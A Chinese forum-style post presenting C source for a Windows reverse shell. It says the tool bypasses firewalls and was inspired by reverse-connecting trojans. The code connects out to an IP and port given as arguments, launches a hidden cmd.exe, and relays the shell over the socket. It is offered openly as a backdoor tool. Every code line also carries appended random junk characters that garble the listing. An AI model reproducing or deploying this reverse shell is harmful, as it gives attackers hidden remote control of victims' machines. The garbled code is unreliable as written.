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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 )`HA::  
^_>!B)  
/* ============================== .ve *Vp  
Rebound port in Windows NT +MUwP(U=w  
By wind,2006/7 xxa} YIe8  
===============================*/ O}Le]2'  
#include Z=+03  
#include ii4B?E  
Mkv|TyC  
#pragma comment(lib,"wsock32.lib") eN-au/kN  
?tYpc_p#  
void OutputShell(); UAYd?r  
SOCKET sClient; rwqv V ^  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /8gL.i$  
sR_xe}-  
void main(int argc,char **argv) 8SmjZpQ?  
{ UG[e//m  
WSADATA stWsaData; 3071:W  
int nRet; #DI$Oc  
SOCKADDR_IN stSaiClient,stSaiServer; v[S-Pi1  
61K"(r~  
if(argc != 3) ..KwTf  
{ k#)Ad*t  
printf("Useage:\n\rRebound DestIP DestPort\n"); t})$lM  
return; 7_\Mwy{P  
} g+[kde;(^  
kv?|'DN  
WSAStartup(MAKEWORD(2,2),&stWsaData); -{g~TUz  
<GIwRVCU  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); raB+,Oi$G  
0[a}n6X Tk  
stSaiClient.sin_family = AF_INET; P-Su5F  
stSaiClient.sin_port = htons(0); 2x} 6\t  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); /c-nE3+rn  
,Og4 ?fS  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) _ PWj(});  
{ ]/dVRkZeAE  
printf("Bind Socket Failed!\n"); TKI$hc3|L  
return; D`o<,Y  
} 3y`F<&sA  
f7<pEGb  
stSaiServer.sin_family = AF_INET; .v`b[4M4  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e~\QE0Oe:  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); zlf} .  
Hi,t@!!  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ffcLuXa  
{ @}LZ! y  
printf("Connect Error!"); KL3<Iz]  
return; ]]uHM}l  
} l";'6;g  
OutputShell(); L-h$Z0]_F  
} oXYMoi  
x:z0EYL  
void OutputShell() WjMRH+  
{ t#b0H)  
char szBuff[1024]; .p@N:)W6  
SECURITY_ATTRIBUTES stSecurityAttributes; <,8l *1C  
OSVERSIONINFO stOsversionInfo; 2qj{n+  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; RA1yr+)  
STARTUPINFO stStartupInfo; tIZ~^*'  
char *szShell; :@. ;  
PROCESS_INFORMATION stProcessInformation; 'jaoO9KY K  
unsigned long lBytesRead; >|udWd^$3  
T] | d 5E  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); +]!lS7nsW  
\2!!L=&4G  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;#anZC;  
stSecurityAttributes.lpSecurityDescriptor = 0; 8L{u}|{  
stSecurityAttributes.bInheritHandle = TRUE; h/ep`-YaH  
Je7RrCz  
3fkk [U  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); FLr ;`3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); _N#&psQzw  
vK$^y^  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 2V gP  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j F5Blc  
stStartupInfo.wShowWindow = SW_HIDE; (.X]F_ *sc  
stStartupInfo.hStdInput = hReadPipe; =nxKttmU0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; tJD] (F  
*i%quMv  
GetVersionEx(&stOsversionInfo); Jh@_9/?  
g1[&c+=U`P  
switch(stOsversionInfo.dwPlatformId) 9K"JYJ q2  
{ > J>V% 7  
case 1: }KB[B  
szShell = "command.com"; .b>TK  
break;  v[,Src  
default: X[hM8G  
szShell = "cmd.exe"; w G!u+  
break; b-<HXn_Fd  
} W{Q)-y  
pj{\T?(  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); @u9Mks|{  
XW~bu2%{7"  
send(sClient,szMsg,77,0); aW;aA'!  
while(1) !{%G0(Dv  
{ 665[  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?p^2Z6J'$  
if(lBytesRead) FjKq%.=#  
{ ?y%t}C\W  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 4ke^*g K<  
send(sClient,szBuff,lBytesRead,0); b:MG@Hxc  
} *|RS*ABte  
else :`W|h E^  
{ zVaCXNcbo  
lBytesRead=recv(sClient,szBuff,1024,0); 2@i;_3sv  
if(lBytesRead<=0) break; cyF4iG'M,y  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3Sh+u>w  
} _<Dt z  
} (JZ".En#X  
Zhi})d3l  
return; U}AX0*S  
}
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